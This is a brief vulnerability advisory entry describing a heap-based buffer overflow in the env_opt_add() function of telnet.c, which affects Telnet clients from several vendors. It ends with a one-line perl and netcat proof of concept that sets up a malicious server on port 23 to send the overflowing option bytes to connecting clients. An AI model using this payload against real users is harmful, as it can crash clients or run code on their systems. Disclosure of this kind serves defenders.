Multiple Vendor Telnet Client Env_opt_add Heap-Based Buffer Overflow Vulnerability

ID SSV:78968
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


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Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server. 

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23